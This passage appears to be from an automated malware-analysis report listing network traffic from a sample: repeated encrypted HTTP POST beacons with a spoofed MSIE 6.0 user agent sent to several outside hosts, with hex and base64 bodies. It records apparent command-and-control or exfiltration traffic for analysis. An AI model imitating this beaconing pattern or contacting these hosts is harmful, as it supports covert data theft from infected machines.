31 6f 3d Data Ascii: tvW86iFPu/pQQnkVgB6yU/pDn2MfJ1Ix5U8QQ3KKVk6ZD8byvvJmPwBkS6sOWz92E1jRwPNu8WoS//LRj64uQcxcNoe0htIrBr/uFS4pNtVLY8g9LWK1CUU6oiaKvgk2S9CZiBgjb9BaqIW+40+PqwIEG705rM4ryHIUyhiPk8AFBdCWt/qB/89g2z4Lqp8exwHK6WK6fXAftdx89UU1kYOaAP8gZkAB3177C1/S7Y0PI/OGckZdi5MxURpybeF+exo/Ru4hYYnKHwqIAa6DHEOdoiK3Kan7QywG85thFhGZdYDdoFiQmRSSCEhjHAMg9aaImvcdFJBrILI91PlbFzDIMwUqz+15+RkuoxddVUNHIOfonwf++9K4GeE9nppCeKpRX4pxYe7KzJons4aQa9CyiMZUWRXak3t87knZSCBNHdXSShsSKbb9YCQoFDXIcXpvCN9BWh2EcT0H/Xe1NgJLIgKyC1Pe4oYA2MiMnCAXcXURz8Ml75fqIY365HSpyQz5pl3RfjiDT506h+5arq8mHFpJs1o=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.medius.siCache-Control: no-cacheData Raw: 53 46 2f 55 67 30 33 6f 30 50 70 4e 48 78 52 45 78 47 30 65 35 51 59 79 6a 61 71 37 52 57 7a 58 30 63 56 50 76 6c 4b 65 78 65 42 62 50 59 42 6b 76 38 47 47 45 35 2b 58 64 37 47 51 4f 44 6a 44 55 4a 4a 63 47 54 38 73 62 62 76 59 62 46 6f 62 48 71 65 37 62 5a 39 5a 78 68 79 6b 47 67 58 67 30 76 4b 4f 30 65 4c 44 58 2f 50 37 35 47 30 49 75 34 47 72 79 74 79 36 6c 42 54 63 59 75 67 6f 73 70 76 48 43 68 50 4b 4e 44 49 45 30 4e 4e 56 72 52 58 63 39 70 53 71 30 43 61 71 74 6b 50 42 4b 4d 6c 61 4c 51 62 4c 67 31 37 30 64 6b 64 6e 55 6b 59 66 46 68 58 30 50 6f 33 57 72 4d 6b 42 6c 72 75 35 79 38 64 41 70 78 6e 42 32 66 4f 67 39 7a 68 67 4e 37 73 2b 6f 79 48 52 6f 65 78 43 48 34 53 44 4c 59 66 73 34 6a 2b 43 4f 35 38 58 33 48 32 30 41 66 6d 77 52 69 76 46 37 53 41 32 63 2b 54 30 67 35 76 6d 39 63 4a 58 61 62 34 62 53 76 6e 78 58 4f 66 34 33 78 78 36 41 6a 78 35 49 4f 73 73 30 72 74 54 62 63 6a 78 44 30 43 34 76 51 75 51 6d 36 56 62 59 44 4b 6b 56 4c 2b 56 44 44 4e 68 32 54 6b 77 54 67 43 55 6c 61 6a 32 42 71 4c 6d 77 59 4d 37 6e 33 68 4a 33 65 2f 41 6a 4b 75 4d 4e 4b 7a 70 37 4f 4b 62 36 32 44 39 7a 30 35 41 46 65 76 61 7a 68 53 4d 6a 6f 31 41 64 58 74 44 77 7a 33 56 6d 65 59 61 42 75 32 6c 49 5a 65 31 34 6d 6d 35 37 4a 41 4c 67 54 70 73 4d 4d 4a 31 4e 4b 38 4b 5a 53 63 4e 49 64 58 75 67 55 63 53 6a 59 38 67 72 4f 58 37 6a 6e 70 73 58 59 46 42 57 53 4b 64 4c 37 59 6a 58 62 67 65 72 68 41 45 77 62 48 37 54 79 79 4f 6b 6b 58 65 4f 52 6b 57 33 59 58 34 7a 49 47 6f 32 79 6b 68 54 52 43 32 61 59 47 43 43 32 79 6b 58 66 62 7a 4a 4b 4d 48 74 71 38 6a 4a 6a 30 4d 48 4f 2f 36 62 5a 74 33 4e 73 63 76 37 56 53 48 75 52 54 56 43 47 45 76 6f 38 2f 4a 79 6f 45 4f 79 72 58 69 45 39 72 52 31 6e 59 6c 30 32 41 68 76 31 6e 59 4c 49 75 72 63 44 47 64 56 51 6d 32 4e 4b 69 6c 5a 35 45 63 Data Ascii: SF/Ug03o0PpNHxRExG0e5QYyjaq7RWzX0cVPvlKexeBbPYBkv8GGE5+Xd7GQODjDUJJcGT8sbbvYbFobHqe7bZ9ZxhykGgXg0vKO0eLDX/P75G0Iu4Gryty6lBTcYugospvHChPKNDIE0NNVrRXc9pSq0CaqtkPBKMlaLQbLg170dkdnUkYfFhX0Po3WrMkBlru5y8dApxnB2fOg9zhgN7s+oyHRoexCH4SDLYfs4j+CO58X3H20AfmwRivF7SA2c+T0g5vm9cJXab4bSvnxXOf43xx6Ajx5IOss0rtTbcjxD0C4vQuQm6VbYDKkVL+VDDNh2TkwTgCUlaj2BqLmwYM7n3hJ3e/AjKuMNKzp7OKb62D9z05AFevazhSMjo1AdXtDwz3VmeYaBu2lIZe14mm57JALgTpsMMJ1NK8KZScNIdXugUcSjY8grOX7jnpsXYFBWSKdL7YjXbgerhAEwbH7TyyOkkXeORkW3YX4zIGo2ykhTRC2aYGCC2ykXfbzJKMHtq8jJj0MHO/6bZt3Nscv7VSHuRTVCGEvo8/JyoEOyrXiE9rR1nYl02Ahv1nYLIurcDGdVQm2NKilZ5Ec
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 7a 65 5a 32 36 31 4b 7a 75 47 6e 6f 6c 37 31 32 79 70 48 4c 33 4e 70 6c 35 54 31 37 38 4f 4e 75 64 75 42 62 63 41 39 57 57 54 68 30 43 30 58 69 6b 68 61 71 6f 44 77 52 46 66 2f 62 74 4a 70 2f 4d 44 4f 78 53 2b 47 4a 55 73 55 57 73 45 49 6e 79 42 46 71 2b 6b 46 51 69 6e 69 4b 41 6b 36 41 38 52 61 37 32 71 36 7a 4c 76 67 53 77 64 4e 57 67 6b 2b 34 5a 6a 38 59 41 55 42 49 58 4f 62 72 6f 79 37 6f 6c 33 63 4b 42 2b 38 4c 65 76 72 50 31 57 4b 6e 75 6c 71 71 75 66 61 78 48 78 6b 33 6e 46 4f 2f 35 33 6f 2b 39 62 33 6d 51 56 57 41 43 4c 7a 51 46 70 5a 56 33 51 50 51 38 75 62 67 37 39 46 4a 36 44 38 4a 44 78 75 74 30 38 45 49 6b 31 42 4a 53 63 63 77 3d 3d Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jchysk.comCache-Control: no-cacheData Raw: 35 67 5a 78 48 75 7a 38 76 50 71 55 72 4c 52 6a 31 39 50 5a 39 2f 2f 79 6c 30 42 45 44 50 6d 57 34 43 7a 4a 44 31 45 6b 71 42 68 52 74 78 67 39 30 52 67 6f 53 6d 66 77 79 30 48 37 75 65 7a 61 2b 4b 6d 2f 48 4e 65 39 78 41 43 53 65 58 66 70 4c 36 62 6e 62 72 38 65 53 32 35 30 30 2f 49 6c 42 4f 48 5a 6b 4c 6a 53 59 49 67 6b 6c 6f 6d 34 44 5a 4d 44 58 4d 36 57 43 4b 6b 53 35 49 4d 79 72 43 33 51 42 46 55 56 75 4c 77 38 4c 66 4a 48 6e 6a 35 4b 2f 49 38 2f 4e 58 59 55 6d 63 2b 7a 54 55 42 48 6e 6c 38 65 65 37 4c 4f 39 55 52 31 53 38 64 62 2b 6d 4b 70 75 47 79 71 31 6a 41 39 2f 50 2f 52 55 76 55 2b 41 65 6b 33 4c 4a 6f 69 6e 62 4d 33 48 56 56 2b 50 44 39 62 75 57 50 44 59 73 73 6d 6f 36 61 73 61 41 62 45 54 4a 66 48 51 38 6a 37 6b 34 48 47 5a 44 54 65 73 65 6a 4b 76 42 66 59 50 56 48 72 55 43 56 36 44 51 42 69 2f 51 55 51 57 73 45 36 7a 39 44 30 30 6e 44 42 51 32 6e 66 47 44 63 7a 58 4f 2f 47 30 33 31 4b 52 4e 57 79 74 4c 2b 64 32 43 56 63 38 34 4e 62 33 34 54 50 31 51 42 2f 76 6e 68 4f 48 6f 6a 66 6a 4c 32 61 54 6b 32 32 58 4d 75 45 70 52 31 4d 2b 62 55 62 73 6d 4f 66 6f 69 7a 7a 33 73 44 4f 41 4c 62 67 38 39 4a 46 30 44 37 6b 55 4a 71 31 56 6a 6e 37 2b 4c 5a 77 32 47 4f 67 42 73 44 2b 30 51 73 49 73 69 6d 4e 54 51 37 37 4b 55 4d 4f 4d 58 54 59 41 64 66 35 42 4e 57 59 7a 30 33 2b 59 50 53 47 52 55 57 75 35 53 77 54 6a 65 62 62 74 67 65 78 31 64 4c 74 4d 72 4c 57 4d 6c 38 6a 2b 48 59 71 75 6f 79 70 63 34 4b 46 4b 4a 6d 66 7a 56 38 31 71 30 33 44 50 68 55 74 65 76 59 49 57 45 51 44 71 69 4b 39 63 62 6a 77 4e 57 37 4b 76 39 56 32 69 7a 59 58 79 76 59 38 41 39 6d 42 4c 7a 61 4f 41 52 6c 4b 2b 74 76 67 55 6f 38 3d Data Ascii: 5gZxHuz8vPqUrLRj19PZ9//yl0BEDPmW4CzJD1EkqBhRtxg90RgoSmfwy0H7ueza+Km/HNe9xACSeXfpL6bnbr8eS2500/IlBOHZkLjSYIgklom4DZMDXM6WCKkS5IMyrC3QBFUVuLw8LfJHnj5K/I8/NXYUmc+zTUBHnl8ee7LO9UR1S8db+mKpuGyq1jA9/P/RUvU+Aek3LJoinbM3HVV+PD9buWPDYssmo6asaAbETJfHQ8j7k4HGZDTesejKvBfYPVHrUCV6DQBi/QUQWsE6z9D00nDBQ2nfGDczXO/G031KRNWytL+d2CVc84Nb34TP1QB/vnhOHojfjL2aTk22XMuEpR1M+bUbsmOfoizz3sDOALbg89JF0D7kUJq1Vjn7+LZw2GOgBsD+0QsIsimNTQ77KUMOMXTYAdf5BNWYz03+YPSGRUWu5SwTjebbtgex1dLtMrLWMl8j+HYquoypc4KFKJmfzV81q03DPhUtevYIWEQDqiK9cbjwNW7Kv9V2izYXyvY8A9mBLzaOARlK+tvgUo8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.findbc.comCache-Control: no-cacheData Raw: 50 75 4b 67 66 43 4f 64 36 66 71 4c 61 2b 49 50 71 75 42 53 5a 30 78 37 71 57 52 4a 6f 75 4f 33 42 30 32 67 46 72 46 43 61 79 59 70 56 52 43 46 35 58 6d 64 66 70 44 7a 6d 4b 65 78 41 76 4d 72 30 4c 41 2f 31 41 44 72 71 5a 62 35 77 2b 2b 71 6f 66 41 70 6c 6c 56 77 4f 46 4d 59 53 61 77 4a 6b 68 36 53 55 36 69 41 4e 67 73 43 42 6b 62 49 7a 51 6d 4f 35 36 32 46 50 5a 44 75 7a 39 73 58 65 35 2b 58 4b 50 30 41 74 54 4c 6e 6a 69 53 77 64 58 4b 77 71 6d 6b 57 50 48 58 33 33 6a 6c 6d 75 54 53 37 79 2f 72 4e 2f 6c 50 61 4d 79 45 6d 41 4b 79 39 52 37 2f 5a 77 31 43 37 70 75 38 52 4f 56 6a 6e 70 49 2b 71 72 42 72 6c 47 47 32 38 49 2b 43 53 43 4f 77 33 37 62 76 34 38 55 55 64 43 33 52 56 5a 79 2b 61 6d 62 52 66 50 6d 52 5a 6b 35 4a 33 55 59 6d 77 31 65 74 5a 6a 74 6d 45 4b 6c 67 47 31 4f 2b 50 38 54 44 32 54 78 7a 67 54 77 38 78 77 36 2f 61 41 41 6e 79 7a 36 51 56 36 68 63 72 51 51 39 6d 35 2f 77 39 51 67 33 4f 53 61 4a 6a 63 41 4d 33 43 46 4f 48 48 6d 43 33 4d 70 57 67 70 74 74 45 54 49 41 61 57 39 46 5a 4e 52 41 6c 68 37 72 55 43 59 4b 37 46 33 65 6d 4f 79 6c 57 38 74 45 61 6f 54 53 61 5a 32 76 77 38 31 6c 43 77 73 6b 72 2b 65 45 66 49 4c 35 2b 5a 5a 6d 71 37 4e 45 57 41 37 75 30 63 69 68 31 49 61 53 6c 36 6c 5a 5a 4d 61 69 79 34 75 77 32 67 41 44 45 54 58 33 2f 31 63 2b 6c 43 79 38 42 57 44 42 58 6b 32 65 52 57 62 72 55 45 4a 32 50 53 48 4a 48 46 7a 4c 48 64 52 38 35 37 34 57 45 79 56 63 43 54 74 2f 50 73 42 61 46 37 6d 6d 4a 46 44 32 34 38 4a 6f 43 79 54 79 74 6b 32 73 49 4c 33 72 6e 73 58 37 73 4e 53 4b 57 45 6f 78 68 44 31 54 39 6e 67 46 2b 4e 66 70 54 49 52 62 58 6a 79 51 69 74 36 35 54 41 53 6c 61 76 62 32 74 32 54 72 51 31 46 33 49 4c 31 49 52 6a 4c 41 56 53 47 73 4f 4d 62 4c 4c 56 66 51 51 4d 33 73 3d Data Ascii: PuKgfCOd6fqLa+IPquBSZ0x7qWRJouO3B02gFrFCayYpVRCF5XmdfpDzmKexAvMr0LA/1ADrqZb5w++qofApllVwOFMYSawJkh6SU6iANgsCBkbIzQmO562FPZDuz9sXe5+XKP0AtTLnjiSwdXKwqmkWPHX33jlmuTS7y/rN/lPaMyEmAKy9R7/Zw1C7pu8ROVjnpI+qrBrlGG28I+CSCOw37bv48UUdC3RVZy+ambRfPmRZk5J3UYmw1etZjtmEKlgG1O+P8TD2TxzgTw8xw6/aAAnyz6QV6hcrQQ9m5/w9Qg3OSaJjcAM3CFOHHmC3MpWgpttETIAaW9FZNRAlh7rUCYK7F3emOylW8tEaoTSaZ2vw81lCwskr+eEfIL5+ZZmq7NEWA7u0cih1IaSl6lZZMaiy4uw2gADETX3/1c+lCy8BWDBXk2eRWbrUEJ2PSHJHFzLHdR8574WEyVcCTt/PsBaF7mmJFD248JoCyTytk2sIL3rnsX7sNSKWEoxhD1T9ngF+NfpTIRbXjyQit65TASlavb2t2TrQ1F3IL1IRjLAVSGsOMbLLVfQQM3s=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fink.comCache-Control: no-cacheData Raw: 6a 34 44 6f 51 51 7a 66 46 2f 6f 75 2b 62 32 57 64 77 36 77 4f 68 2b 36 32 74 50 6b 4b 4e 51 65 41 4e 6c 75 74 61 52 77 69 62 58 76 46 52 4f 2b 77 79 33 72 53 6a 68 72 62 42 6f 6e 59 76 31 69 52 4a 78 76 6a 53 4b 50 34 53 69 54 44 53 5a 42 69 34 32 53 72 58 39 67 6e 41 6e 32 42 6e 4a 49 53 64 74 76 54 6b 52 6e 42 4f 65 63 67 4f 41 4f 33 68 4a 65 6d 4b 30 34 59 30 39 32 39 4b 33 2f 66 50 79 6d 51 41 53 49 5a 31 42 5a 63 52 7a 45 63 2b 57 4e 44 63 6a 73 65 6e 74 65 4a 67 66 47 6c 77 52 44 7a 31 55 59 7a 42 33 6d 49 75 63 30 6f 4a 35 6b 2f 34 6a 4e 73 36 32 48 72 4a 4c 42 62 39 67 4d 69 34 52 33 32 54 31 70 44 2b 61 4f 7a 6f 62 6c 31 41 4d 51 47 59 4a 66 42 31 30 4b 5a 43 75 57 54 62 59 6e 34 68 6b 31 44 38 30 37 35 6d 70 77 2b 74 45 45 73 42 35 75 69 46 65 4c 41 4d 6f 6a 6b 79 61 4f 44 53 4f 30 62 64 4d 61 6f 41 2b 52 30 31 6a 30 4e 59 4c 66 36 6c 34 6b 75 4c 73 48 4d 79 62 39 62 52 5a 56 42 51 74 50 5a 65 58 47 46 68 50 2b 4c 71 44 61 6a 35 39 6d 64 68 35 34 62 66 72 75 6d 6a 34 44 72 37 51 48 74 50 4d 47 78 74 65 2b 2b 5a 41 5a 39 64 61 50 44 78 79 53 59 74 6d 66 2f 43 75 37 79 38 2b 4f 56 2b 50 59 65 66 39 58 58 45 68 2f 66 48 56 48 31 47 74 49 4f 35 69 38 51 39 45 7a 31 5a 68 51 2b 38 61 42 65 53 44 37 6a 54 6c 45 33 6b 66 34 45 73 34 5a 6c 31 75 72 64 51 34 33 30 48 62 57 35 41 5a 55 45 73 68 31 47 55 33 44 63 64 6f 68 58 34 57 49 66 5a 4f 35 57 4e 57 58 54 63 54 6d 74 2f 79 46 79 7a 73 48 4d 7a 4b 65 31 57 6d 47 44 78 78 6e 59 6f 6d 42 72 69 54 30 58 53 42 48 30 6c 76 31 35 38 49 58 77 74 46 4a 2f 61 61 32 64 57 72 4f 53 72 6a 46 6b 53 31 55 72 46 4e 42 32 57 62 56 68 4d 70 4a 58 73 64 62 2b 35 74 74 73 6a 41 43 6c 71 64 65 71 41 78 43 Data Ascii: j4DoQQzfF/ou+b2Wdw6wOh+62tPkKNQeANlutaRwibXvFRO+wy3rSjhrbBonYv1iRJxvjSKP4SiTDSZBi42SrX9gnAn2BnJISdtvTkRnBOecgOAO3hJemK04Y0929K3/fPymQASIZ1BZcRzEc+WNDcjsenteJgfGlwRDz1UYzB3mIuc0oJ5k/4jNs62HrJLBb9gMi4R32T1pD+aOzobl1AMQGYJfB10KZCuWTbYn4hk1D8075mpw+tEEsB5uiFeLAMojkyaODSO0bdMaoA+R01j0NYLf6l4kuLsHMyb9bRZVBQtPZeXGFhP+LqDaj59mdh54bfrumj4Dr7QHtPMGxte++ZAZ9daPDxySYtmf/Cu7y8+OV+PYef9XXEh/fHVH1GtIO5i8Q9Ez1ZhQ+8aBeSD7jTlE3kf4Es4Zl1urdQ430HbW5AZUEsh1GU3DcdohX4WIfZO5WNWXTcTmt/yFyzsHMzKe1WmGDxxnYomBriT0XSBH0lv158IXwtFJ/aa2dWrOSrjFkS1UrFNB2WbVhMpJXsdb+5ttsjAClqdeqAxC
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fink.comCache-Control: no-cacheData Raw: 6a 34 44 6f 51 51 7a 66 46 2f 6f 75 2b 62 32 57 64 77 36 77 4f 68 2b 36 32 74 50 6b 4b 4e 51 65 41 4e 6c 75 74 61 52 77 69 62 58 76 46 52 4f 2b 77 79 33 72 53 6a 68 72 62 42 6f 6e 59 76 31 69 52 4a 78 76 6a 53 4b 50 34 53 69 54 44 53 5a 42 69 34 32 53 72 58 39 67 6e 41 6e 32 42 6e 4a 49 53 64 74 76 54 6b 52 6e 42 4f 65 63 67 4f 41 4f 33 68 4a 65 6d 4b 30 34 59 30 39 32 39 4b 33 2f 66 50 79 6d 51 41 53 49 5a 31 42 5a 63 52 7a 45 63 2b 57 4e 44 63 6a 73 65 6e 74 65 4a 67 66 47 6c 77 52 44 7a 31 55 59 7a 42 33 6d 49 75 63 30 6f 4a 35 6b 2f 34 6a 4e 73 36 32 48 72 4a 4c 42 62 39 67 4d 69 34 52 33 32 54 31 70 44 2b 61 4f 7a 6f 62 6c 31 41 4d 51 47 59 4a 66 42 31 30 4b 5a 43 75 57 54 62 59 6e 34 68 6b 31 44 38 30 37 35 6d 70 77 2b 74 45 45 73 42 35 75 69 46 65 4c 41 4d 6f 6a 6b 79 61 4f 44 53 4f 30 62 64 4d 61 6f 41 2b 52 30 31 6a 30 4e 59 4c 66 36 6c 34 6b 75 4c 73 48 4d 79 62 39 62 52 5a 56 42 51 74 50 5a 65 58 47 46 68 50 2b 4c 71 44 61 6a 35 39 6d 64 68 35 34 62 66 72 75 6d 6a 34 44 72 37 51 48 74 50 4d 47 78 74 65 2b 2b 5a 41 5a 39 64 61 50 44 78 79 53 59 74 6d 66 2f 43 75 37 79 38 2b 4f 56 2b 50 59 65 66 39 58 58 45 68 2f 66 48 56 48 31 47 74 49 4f 35 69 38 51 39 45 7a 31 5a 68 51 2b 38 61 42 65 53 44 37 6a 54 6c 45 33 6b 66 34 45 73 34 5a 6c 31 75 72 64 51 34 33 30 48 62 57 35 41 5a 55 45 73 68 31 47 55 33 44 63 64 6f 68 58 34 57 49 66 5a 4f 35 57 4e 57 58 54 63 54 6d 74 2f 79 46 79 7a 73 48 4d 7a 4b 65 31 57 6d 47 44 78 78 6e 59 6f 6d 42 72 69 54 30 58 53 42 48 30 6c 76 31 35 38 49 58 77 74 46 4a 2f 61 61 32 64 57 72 4f 53 72 6a 46 6b 53 31 55 72 46 4e 42 32 57 62 56 68 4d 70 4a 58 73 64 62 2b 35 74 74 73 6a 41 43 6c 71 64 65 71 41 78 43 Data Ascii: j4DoQQzfF/ou+b2Wdw6wOh+62tPkKNQeANlutaRwibXvFRO+wy3rSjhrbBonYv1iRJxvjSKP4SiTDSZBi42SrX9gnAn2BnJISdtvTkRnBOecgOAO3hJemK04Y0929K3/fPymQASIZ1BZcRzEc+WNDcjsenteJgfGlwRDz1UYzB3mIuc0oJ5k/4jNs62HrJLBb9gMi4R32T1pD+aOzobl1AMQGYJfB10KZCuWTbYn4hk1D8075mpw+tEEsB5uiFeLAMojkyaODSO0bdMaoA+R01j0NYLf6l4kuLsHMyb9bRZVBQtPZeXGFhP+LqDaj59mdh54bfrumj4Dr7QHtPMGxte++ZAZ9daPDxySYtmf/Cu7y8+OV+PYef9XXEh/fHVH1GtIO5i8Q9Ez1ZhQ+8aBeSD7jTlE3kf4Es4Zl1urdQ430HbW5AZUEsh1GU3DcdohX4WIfZO5WNWXTcTmt/yFyzsHMzKe1WmGDxxnYomBriT0XSBH0lv158IXwtFJ/aa2dWrOSrjFkS1UrFNB2WbVhMpJXsdb+5ttsjAClqdeqAxC
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ex-olive.comCache-Control: no-cacheData Raw: 79 6c 31 63 72 63 2b 52 32 76 6f 76 54 73 32 76 62 74 54 58 54 4e 6a 4d 53 4f 78 6c 67 72 78 78 63 78 59 75 4c 4d 79 44 65 69 58 6a 38 76 37 53 55 6e 6e 6b 4f 56 52 39 6b 6b 49 51 67 64 4c 41 65 48 6e 68 64 63 39 44 35 38 47 4e 36 39 30 58 71 6f 2f 35 6d 73 56 73 4d 70 73 6c 6a 58 35 50 39 6c 69 79 45 75 64 53 37 71 42 6d 42 57 66 4a 4e 73 78 6d 68 47 63 31 33 56 36 72 47 69 49 56 37 31 48 78 66 34 2b 71 6a 63 52 34 2b 42 64 30 50 4b 51 6b 6b 6a 78 37 56 55 34 46 32 4f 43 59 56 54 6f 47 77 4c 5a 6e 4a 4a 5a 42 45 45 31 69 54 4b 47 34 45 50 75 69 76 78 79 4d 4c 30 69 68 67 41 51 50 79 57 55 64 4a 6a 73 31 4a 6e 6d 48 50 59 67 42 6e 76 6a 75 76 6c 72 53 6a 57 6c 69 59 55 66 35 6d 6a 30 39 4d 48 45 36 66 73 79 6e 67 74 55 6d 56 31 49 47 66 58 33 35 51 43 6b 48 55 4d 46 6c 70 35 49 62 48 57 4c 6f 50 51 43 37 4b 4f 53 33 6c 68 78 73 67 64 73 72 47 31 6b 36 6b 36 6a 55 47 4d 79 47 72 4c 72 4e 42 6e 6c 33 48 4e 70 53 73 72 58 43 45 6c 43 67 6f 78 48 6d 6a 31 71 45 2f 67 54 4b 51 6d 4a 50 46 6b 54 2b 78 72 6a 61 71 4b 6d 2f 6f 41 79 6e 54 55 45 30 39 50 72 69 6c 41 37 37 48 32 45 75 70 33 35 4f 4a 34 39 5a 74 58 48 33 4a 57 53 33 56 68 32 68 44 6f 43 4b 4e 66 77 71 59 52 30 37 55 70 2b 4e 4d 53 32 78 78 72 39 5a 45 45 59 34 44 41 36 6b 47 77 50 6c 52 43 73 72 32 34 4f 54 4f 6e 67 43 6d 77 38 6e 34 76 6f 71 43 6f 78 4f 74 75 74 6f 61 6c 7a 4b 42 4d 73 46 61 4c 34 41 68 4a 4c 7a 50 46 38 48 68 71 35 51 38 47 62 55 6b 56 6b 4c 4c 57 74 77 35 33 5a 6b 4c 46 46 62 31 6f 6b 4c 2b 34 6f 53 41 58 63 76 76 7a 59 67 37 76 6c 57 6f 4e 66 75 4a 37 54 64 50 52 68 6c 52 4c 56 75 41 2b 46 44 38 68 38 2f 46 4d 56 73 59 4a 58 55 48 62 39 6c 50 6d 49 69 53 79 52 30 59 4f 75 41 78 4d 48 34 61 59 34 58 73 6b 37 48 74 4e 2b 41 37 37 30 3d Data Ascii: yl1crc+R2vovTs2vbtTXTNjMSOxlgrxxcxYuLMyDeiXj8v7SUnnkOVR9kkIQgdLAeHnhdc9D58GN690Xqo/5msVsMpsljX5P9liyEudS7qBmBWfJNsxmhGc13V6rGiIV71Hxf4+qjcR4+Bd0PKQkkjx7VU4F2OCYVToGwLZnJJZBEE1iTKG4EPuivxyML0ihgAQPyWUdJjs1JnmHPYgBnvjuvlrSjWliYUf5mj09MHE6fsyngtUmV1IGfX35QCkHUMFlp5IbHWLoPQC7KOS3lhxsgdsrG1k6k6jUGMyGrLrNBnl3HNpSsrXCElCgoxHmj1qE/gTKQmJPFkT+xrjaqKm/oAynTUE09PrilA77H2Eup35OJ49ZtXH3JWS3Vh2hDoCKNfwqYR07Up+NMS2xxr9ZEEY4DA6kGwPlRCsr24OTOngCmw8n4voqCoxOtutoalzKBMsFaL4AhJLzPF8Hhq5Q8GbUkVkLLWtw53ZkLFFb1okL+4oSAXcvvzYg7vlWoNfuJ7TdPRhlRLVuA+FD8h8/FMVsYJXUHb9lPmIiSyR0YOuAxMH4aY4Xsk7HtN+A770=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.netcr.comCache-Control: no-cacheData Raw: 61 78 4c 42 70 54 36 45 46 50 75 5a 32 67 34 54 43 56 34 34 45 79 47 38 38 65 62 2b 4d 70 62 5a 55 6f 67 36 46 4f 42 33 50 58 66 33 58 4d 6a 44 72 52 39 45 31 6c 63 47 78 75 63 59 47 4a 56 6a 77 53 59 4a 35 57 61 4d 6d 2f 4d 66 4d 45 45 6c 6b 57 79 48 68 66 37 30 46 4a 37 31 36 6b 71 44 38 4c 43 33 62 33 75 76 71 52 6f 4d 61 74 5a 55 33 74 41 59 4d 39 7a 79 4e 44 33 4d 4d 43 69 52 32 55 78 6c 58 55 67 34 77 67 6e 36 7a 6a 5a 68 64 58 42 37 43 6f 50 4a 63 76 51 2b 62 6c 77 41 59 6a 70 31 58 73 56 44 48 50 74 37 34 63 73 34 4c 2f 32 50 4c 72 6a 6f 49 59 4d 54 63 2f 32 79 68 34 45 52 58 4a 55 4e 50 56 6d 4f 6e 50 32 54 57 34 32 42 71 76 63 77 74 74 75 44 38 4b 45 68 68 41 69 6a 79 41 2f 53 37 51 45 6a 6c 6e 35 65 6e 59 69 7a 71 6d 6a 34 36 78 2f 6f 4a 45 55 6b 6a 6d 50 4f 32 4a 6f 7a 